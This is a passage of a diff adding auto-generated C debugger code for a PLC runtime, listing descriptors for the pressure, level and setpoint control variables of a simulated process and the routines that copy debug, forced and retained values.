+{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void 